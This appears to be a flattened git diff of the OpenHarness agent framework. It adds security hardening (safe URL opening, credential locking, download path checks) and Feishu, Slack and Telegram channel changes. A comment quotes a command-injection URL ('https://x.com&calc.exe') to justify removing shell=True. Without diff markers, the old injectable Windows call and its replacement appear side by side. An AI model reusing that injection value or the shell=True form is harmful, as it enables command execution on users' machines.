# Only http(s) URLs are valid here. ShellExecute / xdg-open / `open`
# all resolve unrecognised tokens (e.g. ``file:``, ``javascript:``, a
# bare executable name) against the registry or PATH, so refusing
# everything else removes a class of unintended-action footguns.
if urlparse(url).scheme not in {"http", "https"}:
return False
try:
plat = platform.system()
if plat == "Darwin":
subprocess.Popen(["open", url], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return True
if plat == "Windows":
subprocess.Popen(
["start", "", url],
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
# ShellExecute via os.startfile — does NOT route through
# cmd.exe, so ``&`` / ``|`` / ``^`` in the URL cannot be
# interpreted as command separators. Replaces the prior
# ``subprocess.Popen([...], shell=True)`` form, which would
# execute appended commands when a hostile or compromised
# device-flow endpoint returned a URL like
# ``https://x.com&calc.exe``.
os.startfile(url) # type: ignore[attr-defined]
return True
# Linux / WSL
proc = subprocess.Popen(
@@ -102,6 +112,7 @@ class DeviceCodeFlow(AuthFlow):
return True
except Exception:
return False
return False
def run(self) -> str:
from openharness.api.copilot_auth import poll_for_access_token, request_device_code
+46
View File
@@ -35,6 +35,9 @@ _KNOWN_PROVIDERS = [
"bedrock",
"vertex",
"moonshot",
"gemini",
"minimax",
"modelscope",
]
_AUTH_SOURCES = [
@@ -47,6 +50,9 @@ _AUTH_SOURCES = [
"bedrock_api_key",
"vertex_api_key",
"moonshot_api_key",
"gemini_api_key",
"minimax_api_key",
"modelscope_api_key",
]
_PROFILE_BY_PROVIDER = {
@@ -56,6 +62,9 @@ _PROFILE_BY_PROVIDER = {
"openai_codex": "codex",
"copilot": "copilot",
"moonshot": "moonshot",
"gemini": "gemini",
"minimax": "minimax",
"modelscope": "modelscope",
}
@@ -151,6 +160,15 @@ class AuthManager:
configured = True
origin = "file"
state = "configured"
elif source == "modelscope_api_key":
if os.environ.get("MODELSCOPE_API_KEY"):
configured = True
origin = "env"
state = "configured"
elif load_credential(storage_provider, "api_key"):
configured = True
origin = "file"
state = "configured"
elif load_credential(storage_provider, "api_key"):
configured = True
origin = "file"
@@ -239,6 +257,22 @@ class AuthManager:
configured = True
source = "file"
elif provider == "minimax":
if os.environ.get("MINIMAX_API_KEY"):
configured = True
source = "env"
elif load_credential("minimax", "api_key"):
configured = True
source = "file"
elif provider == "modelscope":
if os.environ.get("MODELSCOPE_API_KEY"):
configured = True
source = "env"
elif load_credential("modelscope", "api_key"):
configured = True
source = "file"
elif provider in ("bedrock", "vertex"):
# These typically use environment-level credentials (AWS/GCP).
cred = load_credential(provider, "api_key")
@@ -320,6 +354,8 @@ class AuthManager:
last_model: str | None = None,
credential_slot: str | None = None,
allowed_models: list[str] | None = None,
context_window_tokens: int | None = None,
auto_compact_threshold_tokens: int | None = None,
) -> None:
"""Update a profile in-place."""
profiles = self.settings.merged_profiles()
@@ -338,6 +374,16 @@ class AuthManager:
"last_model": last_model if last_model is not None else current.last_model,
"credential_slot": credential_slot if credential_slot is not None else current.credential_slot,
"allowed_models": allowed_models if allowed_models is not None else current.allowed_models,
"context_window_tokens": (
context_window_tokens
if context_window_tokens is not None
else current.context_window_tokens
),
"auto_compact_threshold_tokens": (
auto_compact_threshold_tokens
if auto_compact_threshold_tokens is not None
else current.auto_compact_threshold_tokens
),
}
profiles[name] = current.model_copy(update=updates)
updated = self.settings.model_copy(update={"profiles": profiles})
+77 -30
View File
@@ -1,7 +1,16 @@
"""Secure credential storage for OpenHarness.
"""Credential storage for OpenHarness.
Default backend: ~/.openharness/credentials.json with mode 600.
Optional backend: system keyring (if the `keyring` package is installed).
Optional backend: system keyring (if the `keyring` package is installed
and a usable backend is present).
Security model
--------------
When no keyring backend is available (common in containers, CI, and WSL),
credentials are stored as **plain-text JSON** protected only by POSIX file
permissions (mode 600). The ``_obfuscate`` / ``_deobfuscate`` helpers in
this module are a lightweight XOR round-trip used elsewhere for non-secret
data; they are **not** encryption and must not be used to protect secrets.
"""
from __future__ import annotations
@@ -13,6 +22,8 @@ from pathlib import Path
from typing import Any
from openharness.config.paths import get_config_dir
from openharness.utils.file_lock import exclusive_file_lock
from openharness.utils.fs import atomic_write_text
log = logging.getLogger(__name__)
@@ -20,6 +31,10 @@ _CREDS_FILE_NAME = "credentials.json"
_KEYRING_SERVICE = "openharness"
def _creds_lock_path() -> Path:
return _creds_path().with_suffix(".json.lock")
@dataclass(frozen=True)
class ExternalAuthBinding:
"""Pointer to credentials managed by an external CLI."""
@@ -53,12 +68,11 @@ def _load_creds_file() -> dict[str, Any]:
def _save_creds_file(data: dict[str, Any]) -> None:
path = _creds_path()
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(data, indent=2) + "\n", encoding="utf-8")
try:
path.chmod(0o600)
except OSError:
pass
atomic_write_text(
path,
json.dumps(data, indent=2) + "\n",
mode=0o600,
)
# ---------------------------------------------------------------------------
@@ -66,13 +80,34 @@ def _save_creds_file(data: dict[str, Any]) -> None:
# ---------------------------------------------------------------------------
def _keyring_available() -> bool:
try:
import keyring # noqa: F401
_keyring_checked: bool = False
_keyring_usable: bool = False
return True
def _keyring_available() -> bool:
"""Return True when a usable system keyring backend is present.
The check is cached after the first call so the "Keyring load failed"
warning is emitted at most once per process.
"""
global _keyring_checked, _keyring_usable # noqa: PLW0603
if _keyring_checked:
return _keyring_usable
_keyring_checked = True
try:
import keyring
# Probe the backend — merely importing keyring is not enough because
# the package may be installed without a functioning backend (e.g. on
# headless Linux / WSL / containers).
keyring.get_password(_KEYRING_SERVICE, "__probe__")
_keyring_usable = True
except ImportError:
return False
_keyring_usable = False
except Exception as exc:
log.info("System keyring unavailable, using file backend: %s", exc)
_keyring_usable = False
return _keyring_usable
def _keyring_key(provider: str, key: str) -> str:
@@ -102,9 +137,10 @@ def store_credential(provider: str, key: str, value: str, *, use_keyring: bool |
except Exception as exc:
log.warning("Keyring store failed, falling back to file: %s", exc)
data = _load_creds_file()
data.setdefault(provider, {})[key] = value
_save_creds_file(data)
with exclusive_file_lock(_creds_lock_path()):
data = _load_creds_file()
data.setdefault(provider, {})[key] = value
_save_creds_file(data)
log.debug("Stored %s/%s in credentials file", provider, key)
@@ -146,10 +182,11 @@ def clear_provider_credentials(provider: str, *, use_keyring: bool | None = None
except ImportError:
pass
data = _load_creds_file()
if provider in data:
del data[provider]
_save_creds_file(data)
with exclusive_file_lock(_creds_lock_path()):
data = _load_creds_file()
if provider in data:
del data[provider]
_save_creds_file(data)
log.debug("Cleared credentials for provider: %s", provider)
@@ -160,10 +197,11 @@ def list_stored_providers() -> list[str]:
def store_external_binding(binding: ExternalAuthBinding) -> None:
"""Persist metadata describing an external auth source for *provider*."""
data = _load_creds_file()
entry = data.setdefault(binding.provider, {})
entry["external_binding"] = asdict(binding)
_save_creds_file(data)
with exclusive_file_lock(_creds_lock_path()):
data = _load_creds_file()
entry = data.setdefault(binding.provider, {})
entry["external_binding"] = asdict(binding)
_save_creds_file(data)
log.debug("Stored external auth binding for provider: %s", binding.provider)
@@ -189,21 +227,25 @@ def load_external_binding(provider: str) -> ExternalAuthBinding | None:
# ---------------------------------------------------------------------------
# Encrypt/decrypt helpers (lightweight XOR obfuscation, not true encryption)
# Obfuscation helpers (XOR round-trip — NOT encryption)
# ---------------------------------------------------------------------------
# These exist for lightweight obfuscation of non-secret data (e.g. session
# tokens where the goal is to prevent casual reading, not resist attack).
# Do NOT use for API keys or passwords — those belong in the keyring or in
# the plain-text file protected by POSIX permissions.
# ---------------------------------------------------------------------------
def _obfuscation_key() -> bytes:
"""Return a per-user obfuscation key derived from the home directory path."""
seed = str(Path.home()).encode() + b"openharness-v1"
# Simple repeating key stretched to 32 bytes via SHA-256 for determinism.
import hashlib
return hashlib.sha256(seed).digest()
def encrypt(plaintext: str) -> str:
"""Lightly obfuscate *plaintext* (base64-encoded XOR). Not cryptographic."""
def _obfuscate(plaintext: str) -> str:
"""Lightly obfuscate *plaintext* (base64-encoded XOR). **Not cryptographic.**"""
import base64
key = _obfuscation_key()
@@ -212,11 +254,16 @@ def encrypt(plaintext: str) -> str:
return base64.urlsafe_b64encode(xored).decode("ascii")
def decrypt(ciphertext: str) -> str:
"""Reverse of :func:`encrypt`."""
def _deobfuscate(ciphertext: str) -> str:
"""Reverse of :func:`_obfuscate`."""
import base64
key = _obfuscation_key()
data = base64.urlsafe_b64decode(ciphertext.encode("ascii"))
xored = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
return xored.decode("utf-8")
# Backward compatibility — deprecated, will be removed in a future version.
encrypt = _obfuscate
decrypt = _deobfuscate
+23
View File
@@ -0,0 +1,23 @@
"""Repo autopilot exports."""
from openharness.autopilot.service import RepoAutopilotStore
from openharness.autopilot.types import (
RepoAutopilotRegistry,
RepoJournalEntry,
RepoRunResult,
RepoTaskCard,
RepoTaskSource,
RepoTaskStatus,
RepoVerificationStep,
)
__all__ = [
"RepoAutopilotRegistry",
"RepoAutopilotStore",
"RepoJournalEntry",
"RepoRunResult",
"RepoTaskCard",
"RepoTaskSource",
"RepoTaskStatus",
"RepoVerificationStep",
]
File diff suppressed because it is too large Load Diff
+91
View File
@@ -0,0 +1,91 @@
"""Repo autopilot data models."""
from __future__ import annotations
from typing import Any, Literal
from pydantic import BaseModel, Field
RepoTaskStatus = Literal[
"queued",
"accepted",
"preparing",
"running",
"verifying",
"pr_open",
"waiting_ci",
"repairing",
"completed",
"merged",
"failed",
"rejected",
"superseded",
]
RepoTaskSource = Literal[
"ohmo_request",
"manual_idea",
"github_issue",
"github_pr",
"claude_code_candidate",
]
class RepoTaskCard(BaseModel):
"""One normalized repo-level work item."""
id: str
fingerprint: str
title: str
body: str = ""
source_kind: RepoTaskSource
source_ref: str = ""
status: RepoTaskStatus = "queued"
score: int = 0
score_reasons: list[str] = Field(default_factory=list)
labels: list[str] = Field(default_factory=list)
metadata: dict[str, Any] = Field(default_factory=dict)
created_at: float
updated_at: float
class RepoJournalEntry(BaseModel):
"""Append-only repo journal event."""
timestamp: float
kind: str
summary: str
task_id: str | None = None
metadata: dict[str, Any] = Field(default_factory=dict)
class RepoAutopilotRegistry(BaseModel):
"""Full registry payload."""
version: int = 1
updated_at: float = 0.0
cards: list[RepoTaskCard] = Field(default_factory=list)
class RepoVerificationStep(BaseModel):
"""One verification command result."""
command: str
returncode: int
status: Literal["success", "failed", "skipped", "error"]
stdout: str = ""
stderr: str = ""
class RepoRunResult(BaseModel):
"""Result of one autopilot execution attempt."""
card_id: str
status: RepoTaskStatus
assistant_summary: str = ""
run_report_path: str = ""
verification_report_path: str = ""
verification_steps: list[RepoVerificationStep] = Field(default_factory=list)
attempt_count: int = 0
worktree_path: str = ""
pr_number: int | None = None
pr_url: str = ""
+1 -1
View File
@@ -41,6 +41,6 @@ async def spawn_session(
command,
cwd=resolved_cwd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT,
)
return SessionHandle(session_id=session_id, process=process, cwd=resolved_cwd)
+370 -26
View File
@@ -15,6 +15,7 @@ from openharness.channels.bus.queue import MessageBus
from openharness.channels.impl.base import BaseChannel
from openharness.channels.impl.base import resolve_channel_media_dir
from openharness.config.schema import FeishuConfig
from openharness.utils.helpers import safe_filename
import importlib.util
import logging
@@ -38,6 +39,174 @@ class _FeishuSenderInfo:
display_name: str
def _clean_mention_value(value: Any) -> str:
if value is None:
return ""
return str(value).strip()
def _normalize_mention_name(value: str) -> str:
return value.strip().lstrip("@").strip().lower()
def _configured_bot_names(config: FeishuConfig) -> set[str]:
raw_names = getattr(config, "bot_names", []) or []
if isinstance(raw_names, str):
items = [item.strip() for item in raw_names.split(",")]
else:
items = [str(item).strip() for item in raw_names]
names = {_normalize_mention_name(item) for item in items if item.strip()}
return names or {"ohmo"}
def _mention_value(raw: Any, key: str) -> Any:
if isinstance(raw, dict):
return raw.get(key)
return getattr(raw, key, None)
def _mention_id_value(raw_id: Any, key: str) -> Any:
if isinstance(raw_id, dict):
return raw_id.get(key)
return getattr(raw_id, key, None)
def _extract_feishu_mentions(
content_json: dict,
raw_mentions: list[Any] | tuple[Any, ...] | None = None,
) -> list[dict[str, str]]:
"""Return normalized mention metadata from Feishu text/post payloads."""
mentions: list[dict[str, str]] = []
seen: set[tuple[str, str, str, str, str]] = set()
def add(raw: Any) -> None:
mention_id = _mention_value(raw, "id") or {}
record = {
"key": _clean_mention_value(_mention_value(raw, "key")),
"name": _clean_mention_value(_mention_value(raw, "name") or _mention_value(raw, "user_name")),
"open_id": _clean_mention_value(
_mention_value(raw, "open_id") or _mention_id_value(mention_id, "open_id")
),
"user_id": _clean_mention_value(
_mention_value(raw, "user_id") or _mention_id_value(mention_id, "user_id")
),
"union_id": _clean_mention_value(
_mention_value(raw, "union_id") or _mention_id_value(mention_id, "union_id")
),
}
key = (record["key"], record["name"], record["open_id"], record["user_id"], record["union_id"])
if any(record.values()) and key not in seen:
seen.add(key)
mentions.append(record)
if raw_mentions:
for item in raw_mentions:
add(item)
raw_mentions = content_json.get("mentions")
if isinstance(raw_mentions, list):
for item in raw_mentions:
if isinstance(item, dict):
add(item)
def walk(value: Any) -> None:
if isinstance(value, dict):
if value.get("tag") == "at":
add(value)
for child in value.values():
walk(child)
elif isinstance(value, list):
for child in value:
walk(child)
walk(content_json)
return mentions
def _feishu_mentions_bot(
content_json: dict,
text: str,
config: FeishuConfig,
*,
mentions: list[dict[str, str]] | None = None,
) -> bool:
"""Best-effort bot mention detection for Feishu group messages."""
bot_open_id = str(getattr(config, "bot_open_id", "") or "").strip()
bot_names = _configured_bot_names(config)
for mention in mentions if mentions is not None else _extract_feishu_mentions(content_json):
ids = {mention.get("open_id", ""), mention.get("user_id", ""), mention.get("union_id", "")}
if bot_open_id and bot_open_id in ids:
return True
name = _normalize_mention_name(mention.get("name", ""))
if name and any(name == candidate or candidate in name for candidate in bot_names):
return True
normalized_text = text.strip().lower()
for name in bot_names:
if re.search(rf"(^|\s)@{re.escape(name)}(?=$|\s|[:,])", normalized_text):
return True
return False
def _normalize_feishu_group_policy(value: str | None) -> str:
normalized = str(value or "").strip().lower().replace("-", "_")
aliases = {
"all": "open",
"always": "open",
"always_reply": "open",
"managed_mention": "managed_or_mention",
"managed_or_at": "managed_or_mention",
"at": "mention",
"mentions": "mention",
}
normalized = aliases.get(normalized, normalized)
if normalized in {"open", "mention", "managed", "managed_or_mention"}:
return normalized
return "managed_or_mention"
def _is_ohmo_managed_feishu_group(chat_id: str) -> bool:
workspace = os.environ.get("OHMO_WORKSPACE")
if not workspace:
return False
try:
from ohmo.group_registry import load_managed_group_record
return load_managed_group_record(
workspace=workspace,
channel="feishu",
chat_id=chat_id,
) is not None
except Exception:
logger.exception("Failed to load ohmo managed Feishu group metadata chat_id=%s", chat_id)
return False
def _should_process_feishu_group_message(
*,
chat_type: str,
chat_id: str,
mentions_bot: bool,
config: FeishuConfig,
) -> bool:
if str(chat_type or "").strip().lower() != "group":
return True
policy = _normalize_feishu_group_policy(getattr(config, "group_policy", "managed_or_mention"))
if policy == "open":
return True
if policy == "mention":
return mentions_bot
if policy == "managed":
return _is_ohmo_managed_feishu_group(chat_id)
if policy == "managed_or_mention":
return mentions_bot or _is_ohmo_managed_feishu_group(chat_id)
return mentions_bot
class FeishuApiError(RuntimeError):
"""Raised when Feishu returns an unsuccessful API response."""
def _extract_share_card_content(content_json: dict, msg_type: str) -> str:
"""Extract text representation from share cards and interactive messages."""
parts = []
@@ -263,6 +432,26 @@ class FeishuChannel(BaseChannel):
self._sender_cache: OrderedDict[str, _FeishuSenderInfo] = OrderedDict()
self._loop: asyncio.AbstractEventLoop | None = None
def _ensure_rest_client(self) -> bool:
"""Initialize the Feishu REST client without starting the WebSocket receiver."""
if self._client is not None:
return True
if not FEISHU_AVAILABLE:
logger.error("Feishu SDK not installed. Run: pip install lark-oapi")
return False
if not self.config.app_id or not self.config.app_secret:
logger.error("Feishu app_id and app_secret not configured")
return False
import lark_oapi as lark
self._client = lark.Client.builder() \
.app_id(self.config.app_id) \
.app_secret(self.config.app_secret) \
.domain(self.config.domain) \
.log_level(lark.LogLevel.INFO) \
.build()
return True
async def start(self) -> None:
"""Start the Feishu bot with WebSocket long connection."""
if not FEISHU_AVAILABLE:
@@ -277,12 +466,8 @@ class FeishuChannel(BaseChannel):
self._running = True
self._loop = asyncio.get_running_loop()
# Create Lark client for sending messages
self._client = lark.Client.builder() \
.app_id(self.config.app_id) \
.app_secret(self.config.app_secret) \
.log_level(lark.LogLevel.INFO) \
.build()
if not self._ensure_rest_client():
return
# Create event handler (only register message receive, ignore other events)
event_handler = lark.EventDispatcherHandler.builder(
@@ -297,6 +482,7 @@ class FeishuChannel(BaseChannel):
self.config.app_id,
self.config.app_secret,
event_handler=event_handler,
domain=self.config.domain,
log_level=lark.LogLevel.INFO
)
@@ -749,27 +935,55 @@ class FeishuChannel(BaseChannel):
filename = f"{file_key[:16]}{ext}"
if data and filename:
file_path = media_dir / filename
safe_name = safe_filename(filename)
if not safe_name:
logger.warning("Rejected %s download with unsafe filename %r", msg_type, filename)
return None, f"[{msg_type}: download failed]"
media_root = media_dir.resolve()
file_path = (media_root / safe_name).resolve()
if not file_path.is_relative_to(media_root):
logger.warning("Rejected %s download outside media directory: %r", msg_type, filename)
return None, f"[{msg_type}: download failed]"
file_path.write_bytes(data)
logger.debug("Downloaded %s to %s", msg_type, file_path)
return str(file_path), f"[{msg_type}: {filename}]"
return str(file_path), f"[{msg_type}: {safe_name}]"
return None, f"[{msg_type}: download failed]"
def _send_message_sync(self, receive_id_type: str, receive_id: str, msg_type: str, content: str) -> bool:
"""Send a single message (text/image/file/interactive) synchronously."""
def _send_message_sync(self, receive_id_type: str, receive_id: str, msg_type: str, content: str, reply_in_thread: str | None = None) -> bool:
"""Send a single message (text/image/file/interactive) synchronously.
When *reply_in_thread* (a message_id) is provided, the message is
posted as a reply inside the originating thread via
``ReplyMessageRequest`` instead of a standalone message.
"""
from lark_oapi.api.im.v1 import CreateMessageRequest, CreateMessageRequestBody
try:
request = CreateMessageRequest.builder() \
.receive_id_type(receive_id_type) \
.request_body(
CreateMessageRequestBody.builder()
.receive_id(receive_id)
.msg_type(msg_type)
.content(content)
.build()
).build()
response = self._client.im.v1.message.create(request)
if reply_in_thread:
from lark_oapi.api.im.v1 import ReplyMessageRequest, ReplyMessageRequestBody
request = ReplyMessageRequest.builder() \
.message_id(reply_in_thread) \
.request_body(
ReplyMessageRequestBody.builder()
.msg_type(msg_type)
.content(content)
.reply_in_thread(True)
.build()
).build()
response = self._client.im.v1.message.reply(request)
else:
request = CreateMessageRequest.builder() \
.receive_id_type(receive_id_type) \
.request_body(
CreateMessageRequestBody.builder()
.receive_id(receive_id)
.msg_type(msg_type)
.content(content)
.build()
).build()
response = self._client.im.v1.message.create(request)
if not response.success():
logger.error(
"Failed to send Feishu %s message: code=%s, msg=%s, log_id=%s",
@@ -782,28 +996,109 @@ class FeishuChannel(BaseChannel):
logger.error("Error sending Feishu %s message: %s", msg_type, e)
return False
@staticmethod
def _format_response_error(action: str, response: Any) -> str:
log_id = response.get_log_id() if hasattr(response, "get_log_id") else ""
return (
f"{action} failed: code={getattr(response, 'code', '')}, "
f"msg={getattr(response, 'msg', '')}, log_id={log_id}"
)
def _create_managed_group_sync(self, user_open_id: str, name: str) -> str:
"""Create a Feishu group containing the user and the app bot."""
from lark_oapi.api.im.v1 import CreateChatRequest, CreateChatRequestBody
if not self._client:
raise RuntimeError("Feishu client not initialized")
request = (
CreateChatRequest.builder()
.user_id_type("open_id")
.set_bot_manager(True)
.request_body(
CreateChatRequestBody.builder()
.name(name)
.user_id_list([user_open_id])
.chat_mode("group")
.chat_type("private")
.build()
)
.build()
)
response = self._client.im.v1.chat.create(request)
if not response.success():
raise FeishuApiError(self._format_response_error("create Feishu group", response))
chat_id = getattr(getattr(response, "data", None), "chat_id", None)
if not chat_id:
raise FeishuApiError("create Feishu group failed: response missing chat_id")
logger.info("Created Feishu managed group name=%r chat_id=%s", name, chat_id)
return str(chat_id)
async def create_managed_group(self, *, user_open_id: str, name: str) -> str:
"""Create a Feishu group for a single user and the ohmo bot."""
loop = asyncio.get_running_loop()
return await loop.run_in_executor(None, self._create_managed_group_sync, user_open_id, name)
def _rename_group_sync(self, chat_id: str, name: str) -> None:
"""Rename a Feishu group."""
from lark_oapi.api.im.v1 import UpdateChatRequest, UpdateChatRequestBody
if not self._client:
raise RuntimeError("Feishu client not initialized")
request = (
UpdateChatRequest.builder()
.user_id_type("open_id")
.chat_id(chat_id)
.request_body(UpdateChatRequestBody.builder().name(name).build())
.build()
)
response = self._client.im.v1.chat.update(request)
if not response.success():
raise FeishuApiError(self._format_response_error("rename Feishu group", response))
logger.info("Renamed Feishu group chat_id=%s name=%r", chat_id, name)
async def rename_group(self, *, chat_id: str, name: str) -> None:
"""Rename a Feishu group."""
loop = asyncio.get_running_loop()
await loop.run_in_executor(None, self._rename_group_sync, chat_id, name)
async def send(self, msg: OutboundMessage) -> None:
"""Send a message through Feishu, including media (images/files) if present."""
if not self._client:
if not self._ensure_rest_client():
logger.warning("Feishu client not initialized")
return
try:
receive_id_type = "chat_id" if msg.chat_id.startswith("oc_") else "open_id"
loop = asyncio.get_running_loop()
chat_type = str(msg.metadata.get("chat_type") or "").lower()
reply_mid = (
msg.metadata.get("message_id")
if chat_type == "group" or msg.metadata.get("thread_id") or msg.metadata.get("root_id")
else None
)
failed_media: list[str] = []
sent_media: list[str] = []
for file_path in msg.media:
if not os.path.isfile(file_path):
logger.warning("Media file not found: %s", file_path)
failed_media.append(file_path)
continue
ext = os.path.splitext(file_path)[1].lower()
if ext in self._IMAGE_EXTS:
key = await loop.run_in_executor(None, self._upload_image_sync, file_path)
if key:
await loop.run_in_executor(
ok = await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, "image", json.dumps({"image_key": key}, ensure_ascii=False),
reply_mid,
)
if ok:
sent_media.append(file_path)
else:
failed_media.append(file_path)
else:
failed_media.append(file_path)
else:
key = await loop.run_in_executor(None, self._upload_file_sync, file_path)
if key:
@@ -813,10 +1108,26 @@ class FeishuChannel(BaseChannel):
media_type = "media"
else:
media_type = "file"
await loop.run_in_executor(
ok = await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, media_type, json.dumps({"file_key": key}, ensure_ascii=False),
reply_mid,
)
if ok:
sent_media.append(file_path)
else:
failed_media.append(file_path)
else:
failed_media.append(file_path)
if failed_media:
names = ", ".join(os.path.basename(path) for path in failed_media)
failure_body = json.dumps({"text": f"文件发送失败:{names}"}, ensure_ascii=False)
await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, "text", failure_body,
reply_mid,
)
if msg.content and msg.content.strip():
fmt = self._detect_msg_format(msg.content)
@@ -827,6 +1138,7 @@ class FeishuChannel(BaseChannel):
await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, "text", text_body,
reply_mid,
)
elif fmt == "post":
@@ -835,6 +1147,7 @@ class FeishuChannel(BaseChannel):
await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, "post", post_body,
reply_mid,
)
else:
@@ -845,6 +1158,7 @@ class FeishuChannel(BaseChannel):
await loop.run_in_executor(
None, self._send_message_sync,
receive_id_type, msg.chat_id, "interactive", json.dumps(card, ensure_ascii=False),
reply_mid,
)
except Exception as e:
@@ -928,9 +1242,6 @@ class FeishuChannel(BaseChannel):
chat_type = message.chat_type
msg_type = message.message_type
# Add reaction
await self._add_reaction(message_id, self.config.react_emoji)
# Parse content
content_parts = []
media_paths = []
@@ -977,9 +1288,38 @@ class FeishuChannel(BaseChannel):
if not content and not media_paths:
return
mentions = _extract_feishu_mentions(content_json, getattr(message, "mentions", None))
mentions_bot = chat_type == "group" and _feishu_mentions_bot(
content_json,
content,
self.config,
mentions=mentions,
)
if not _should_process_feishu_group_message(
chat_type=chat_type,
chat_id=chat_id,
mentions_bot=mentions_bot,
config=self.config,
):
logger.info(
"Feishu group message ignored by policy chat_id=%s policy=%s mentions_bot=%s mention_names=%s mention_open_ids=%s",
chat_id,
getattr(self.config, "group_policy", "managed_or_mention"),
mentions_bot,
[item.get("name", "") for item in mentions],
[item.get("open_id", "") for item in mentions],
)
return
# Add reaction only after policy says this message will be handled.
await self._add_reaction(message_id, self.config.react_emoji)
# Forward to message bus
reply_to = chat_id if chat_type == "group" else sender_id
# thread_id enables per-topic session routing in router.py
thread_id = getattr(message, "thread_id", None) or getattr(message, "root_id", None)
await self._handle_message(
sender_id=sender_id,
chat_id=reply_to,
@@ -987,8 +1327,12 @@ class FeishuChannel(BaseChannel):
media=media_paths,
metadata={
"message_id": message_id,
"thread_id": thread_id,
"root_id": getattr(message, "root_id", None),
"chat_type": chat_type,
"msg_type": msg_type,
"mentions": mentions,
"mentions_bot": mentions_bot,
"sender_display_name": sender_display_name,
"sender_label": sender_display_name or sender_id,
}
+5 -4
View File
@@ -155,9 +155,9 @@ class ChannelManager:
def _validate_allow_from(self) -> None:
for name, ch in self.channels.items():
if getattr(ch.config, "allow_from", None) == []:
raise SystemExit(
f'Error: "{name}" has empty allowFrom (denies all). '
f'Set ["*"] to allow everyone, or add specific user IDs.'
logger.warning(
'%s channel has empty allow_from; remote access is denied until an operator explicitly adds allowed identities or chooses ["*"].',
name,
)
async def _start_channel(self, name: str, channel: BaseChannel) -> None:
@@ -165,7 +165,8 @@ class ChannelManager:
try:
await channel.start()
except Exception as e:
logger.error("Failed to start channel %s: %s", name, e)
setattr(channel, "last_error", str(e))
logger.exception("Failed to start channel %s", name)
async def start_all(self) -> None:
"""Start all channels and the outbound dispatcher."""
+7 -3
View File
@@ -179,8 +179,11 @@ class SlackChannel(BaseChannel):
except Exception as e:
logger.debug("Slack reactions_add failed: %s", e)
# Thread-scoped session key for channel/group messages
session_key = f"slack:{chat_id}:{thread_ts}" if thread_ts and channel_type != "im" else None
# Preserve Slack thread metadata for reply routing, but let the ohmo
# gateway router derive the session key. The router includes sender
# identity for shared chats; passing a senderless Slack override here
# would make different people in the same thread share one session.
chat_type = "p2p" if channel_type == "im" else "group"
try:
await self._handle_message(
@@ -188,13 +191,14 @@ class SlackChannel(BaseChannel):
chat_id=chat_id,
content=text,
metadata={
"thread_ts": thread_ts,
"chat_type": chat_type,
"slack": {
"event": event,
"thread_ts": thread_ts,
"channel_type": channel_type,
},
},
session_key=session_key,
)
except Exception:
logger.exception("Error handling Slack message from %s", sender_id)
+20 -3
View File
@@ -19,6 +19,14 @@ from openharness.utils.helpers import split_message
logger = logging.getLogger(__name__)
TELEGRAM_MAX_MESSAGE_LEN = 4000 # Telegram message character limit
_TELEGRAM_URL_LOGGERS = ("httpx", "httpcore", "telegram.ext")
def silence_telegram_token_url_loggers() -> None:
"""Prevent Telegram bot tokens from appearing in dependency INFO logs."""
for name in _TELEGRAM_URL_LOGGERS:
logging.getLogger(name).setLevel(logging.WARNING)
def _markdown_to_telegram_html(text: str) -> str:
@@ -111,6 +119,8 @@ class TelegramChannel(BaseChannel):
self.config: TelegramConfig = config
self.groq_api_key = groq_api_key
self._app: Application | None = None
self.last_error: str | None = None
self.polling_started = False
self._chat_ids: dict[str, int] = {} # Map sender_id to chat_id for replies
self._typing_tasks: dict[str, asyncio.Task] = {} # chat_id -> typing loop task
self._media_group_buffers: dict[str, dict] = {}
@@ -123,6 +133,9 @@ class TelegramChannel(BaseChannel):
return
self._running = True
self.last_error = None
self.polling_started = False
silence_telegram_token_url_loggers()
# Build the application with larger connection pool to avoid pool-timeout on long runs
req = HTTPXRequest(connection_pool_size=16, pool_timeout=5.0, connect_timeout=30.0, read_timeout=30.0)
@@ -165,8 +178,10 @@ class TelegramChannel(BaseChannel):
# Start polling (this runs until stopped)
await self._app.updater.start_polling(
allowed_updates=["message"],
drop_pending_updates=True # Ignore old messages on startup
drop_pending_updates=False,
)
self.polling_started = True
logger.info("Telegram polling started")
# Keep running until stopped
while self._running:
@@ -175,6 +190,7 @@ class TelegramChannel(BaseChannel):
async def stop(self) -> None:
"""Stop the Telegram bot."""
self._running = False
self.polling_started = False
# Cancel all typing indicators
for chat_id in list(self._typing_tasks):
@@ -301,7 +317,7 @@ class TelegramChannel(BaseChannel):
user = update.effective_user
await update.message.reply_text(
f"👋 Hi {user.first_name}! I'm nanobot.\n\n"
f"👋 Hi {user.first_name}! I'm {self.config.bot_name}.\n\n"
"Send me a message and I'll respond!\n"
"Type /help to see available commands."
)
@@ -311,7 +327,7 @@ class TelegramChannel(BaseChannel):
if not update.message:
return
await update.message.reply_text(
"🐈 nanobot commands:\n"
f"🐈 {self.config.bot_name} commands:\n"
"/new — Start a new conversation\n"
"/stop — Stop the current task\n"
"/help — Show available commands"
@@ -492,6 +508,7 @@ class TelegramChannel(BaseChannel):
async def _on_error(self, update: object, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Log polling / handler errors instead of silently swallowing them."""
self.last_error = str(context.error)
logger.error("Telegram error: %s", context.error)
def _get_extension(self, media_type: str, mime_type: str | None) -> str:
+1153 -11
View File
File diff suppressed because it is too large Load Diff
+4
View File
@@ -4,14 +4,18 @@ from openharness.commands.registry import (
CommandContext,
CommandRegistry,
CommandResult,
MemoryCommandBackend,
SlashCommand,
create_default_command_registry,
lookup_skill_slash_command,
)
__all__ = [
"CommandContext",
"CommandRegistry",
"CommandResult",
"MemoryCommandBackend",
"SlashCommand",
"create_default_command_registry",
"lookup_skill_slash_command",
]
File diff suppressed because it is too large Load Diff
+44
View File
@@ -114,3 +114,47 @@ def get_project_issue_file(cwd: str | Path) -> Path:
def get_project_pr_comments_file(cwd: str | Path) -> Path:
"""Return the per-project PR comments context file."""
